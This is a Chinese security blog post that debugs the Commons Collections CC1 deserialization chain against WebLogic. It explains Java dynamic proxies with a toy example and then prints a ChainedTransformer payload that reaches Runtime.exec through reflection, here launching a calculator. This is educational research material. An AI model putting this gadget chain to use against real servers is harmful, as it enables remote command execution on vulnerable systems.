CC链1的初次调试

前言:最近有想法写RASP,打算拿weblogic开刀,在此之前调一下CC1,才开始用hexo和一个新图床导致图片不是很清晰,看不清的师傅可以看:https://www.yuque.com/docs/share/b70c2e99-2d45-44f7-aa79-7b6e25837636?

Weblogic环境搭建

参考刘师傅的博客搭建的 教程

java动态代理

b9c0e25e7b317d3336e7c68d115c36e3.png
要约王美丽不能直接约,要通过她的家人。王美丽实现约会功能,家人负责加强约会前后的处理。

1
2
3
4
5
6
7
package Dynamic;

public interface Girl {
void date();
void watchMovie();
}

1
2
3
4
5
6
7
8
9
10
11
12
package Dynamic;

public class Longlone {
public static void main(String[] args){
Girl girl = new WangMeiLi();
WangMeiLiProxy family = new WangMeiLiProxy(girl);
Girl mother = (Girl)family.getProxyInstance();
//girl.date();
mother.date();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
package Dynamic;

public class WangMeiLi implements Girl {
@Override
public void date(){
System.out.println("和王美丽约会");
}
@Override
public void watchMovie(){
System.out.println("和王美丽看电影");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package Dynamic;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class WangMeiLiProxy implements InvocationHandler{
private Girl girl;

public WangMeiLiProxy(Girl girl){
super();
this.girl = girl;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
doSomethingBefore();
Object ret = method.invoke(girl,args);
doSomethingEnd();
return ret;

}
private void doSomethingBefore(){
System.out.println("你帅不帅");
}
private void doSomethingEnd(){
System.out.println("下次还来吗");
}
public Object getProxyInstance(){
return Proxy.newProxyInstance(girl.getClass().getClassLoader(),girl.getClass().getInterfaces(),this);
}
}

在CC1链里面,最重要的接口是transformer,我们要利用的其他类都是它的动态代理beeac369a9110128eddbb56b82a5d4e0.png

调试过程

这里直接用脚本打过去,开启远程调试对docker里面的weblogic调试,在InvokerTransformer#transform处下断点
5845e80bb7b03f983fcedb90ad118411.png

InvokerTransformer.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

ConstantTransformer.class

1069d99cedffa40348c55a2c495696a7.png

ChainedTransformer.class

e2caaff6d503430eb9947dc7b37205f5.png

payload分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package Dynamic;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class cc1 {

public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform("l1m3@syc");
}
}

1.第一步

首先new了一个ChainedTransformer对象,传入了Transformer数组,内容分别为:
1.new ConstantTransformer(Runtime.class)
2.new InvokerTransformer(“getMethod”, new Class[] {
        String.class, Class[].class }, new Object[] {
        “getRuntime”, new Class[0] })
3.new InvokerTransformer(“invoke”, new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] })
4.new InvokerTransformer(“exec”,        new Class[] { String.class }, new Object[]{“open  /System/Applications/Calculator.app”})

2.第二步

调用了自己的transform,传入(“l1m3@syc”)
2214fba298f3ebc08c3ef5448fb79fd2.png
调用ConstantTransformer#transform(Runtime.class)
007241df88a74b6bde730a0b54eeb993.png
然后调用InvokerTransformer#transform(java.lang.Runtime)
0024de1b996943cd7fe5dfe2b235e55b.png61直接return xx.invoke(java.lang.Runtime,getRuntime),熟悉反射的师傅就知道了这里已经成功一大半了。这里获取到了getRuntime()方法
下一个循环调用InvokerTransformer#transform(java.lang.Runtime.getRuntime)
831def4b8cb124c3c841fbfd304e1a19.png
同样的这里执行了getRuntime()方法,获得了一个Runtime对象
49d5f3f18a574a57e114be0c73cfe0a9.png
最后获取到了Runtime.exec()并且执行了我们的”open  /System/Applications/Calculator.app”

总结

感觉CC链1是比较简单的,没有做任何过滤,关键在于ChainedTransformer的链式处理,我们可以通过在InvokerTransformer#transform里面的反射调用获取到我们想要的类和方法,最终导致命令执行。

参考链接

1.https://www.bilibili.com/video/BV1Dt41187wj?from=search&seid=2718178702954423792
2.https://xz.aliyun.com/t/136